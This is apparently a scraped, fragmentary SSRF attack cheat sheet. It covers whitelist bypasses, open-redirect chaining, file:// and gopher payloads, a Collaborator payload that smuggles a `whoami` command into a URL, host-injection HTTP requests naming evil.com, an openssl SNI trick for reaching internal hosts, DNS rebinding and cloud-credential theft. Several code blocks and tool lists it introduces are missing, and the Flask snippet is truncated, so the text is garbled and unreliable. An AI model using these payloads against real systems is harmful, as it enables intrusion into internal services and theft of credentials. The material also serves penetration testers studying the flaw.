A Server-side Request Forgery (SSRF) vulnerability occurs when an attacker manipulates a server-side application into making HTTP requests to a domain of their choice. This vulnerability exposes the server to arbitrary external requests directed by the attacker.
The first thing you need to do is to capture a SSRF interaction generated by you. To capture a HTTP or DNS interaction you can use tools such as:
Usually you will find that the SSRF is only working in certain whitelisted domains or URL. In the following page you have a compilation of techniques to try to bypass that whitelist:
If the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource.

1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
file
protocol:file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
Using this protocol you can specify the IP, port and bytes you want the server to send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first).
Fortunately, you can use Gopherus to create payloads for several services. Additionally, remote-method-guesser can be used to create gopher payloads for Java RMI services.

Analytics software on servers often logs the Referrer header to track incoming links, a practice that inadvertently exposes applications to Server-Side Request Forgery (SSRF) vulnerabilities. This is because such software may visit external URLs mentioned in the Referrer header to analyze referral site content. To uncover these vulnerabilities, the Burp Suite plugin "Collaborator Everywhere" is advised, leveraging the way analytics tools process the Referer header to identify potential SSRF attack surfaces.
A misconfiguration that could enable the connection to any backend through a simple setup is illustrated with an example Nginx configuration:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
In this configuration, the value from the Server Name Indication (SNI) field is directly utilized as the backend's address. This setup exposes a vulnerability to Server-Side Request Forgery (SSRF), which can be exploited by merely specifying the desired IP address or domain name in the SNI field. An exploitation example to force a connection to an arbitrary backend, such as internal.host.com
, using the openssl
command is given below:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
It might be worth trying a payload like: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.
Create several sessions and try to download heavy files exploiting the SSRF from the sessions.
For some exploitations you might need to send a redirect response (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes

from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''})

Flask allows to use @
as initial character, which allows to make the initial host name the username and inject a new one. Attack request:
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Vulnerable code:
It was discovered that It's possible to start the path of a request with character ;
which allows to use then @
and inject a new host to access. Attack request:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];
$proxy_site = $site.$current_uri;
var_dump($proxy_site);
echo "\n\n";
$response = file_get_contents($proxy_site);
var_dump($response);
?>
PHP allows the use of the char *
before a slash in the path of the URL, however, it has other limitations like that it can only be used for the root pathname /
and that dots .
are not permitted before the first slash, so it's needed to use a dotless-hex encoded IP address for example:
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
If you are having problems to exfiltrate content from a local IP because of CORS/SOP, DNS Rebidding can be used to bypass that limitation:
Singularity of Origin
is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.
Check out also the publicly running server in http://rebind.it/singularity.html
Requirements:
Attack:
Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same).
To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/
For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.
Checking the time of the responses from the server it might be possible to know if a resource exists or not (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)
If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials:
Several known platforms contains or has contained SSRF vulnerabilities, check them in:
Tool to detect and exploit SSRF vulnerabilities
This tool generates Gopher payloads for:
remote-method-guesser is a Java RMI vulnerability scanner that supports attack operations for most common Java RMI vulnerabilities. Most of the available operations support the --ssrf
option, to generate an SSRF payload for the requested operation. Together with the --gopher
option, ready to use gopher payloads can be generated directly.
SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
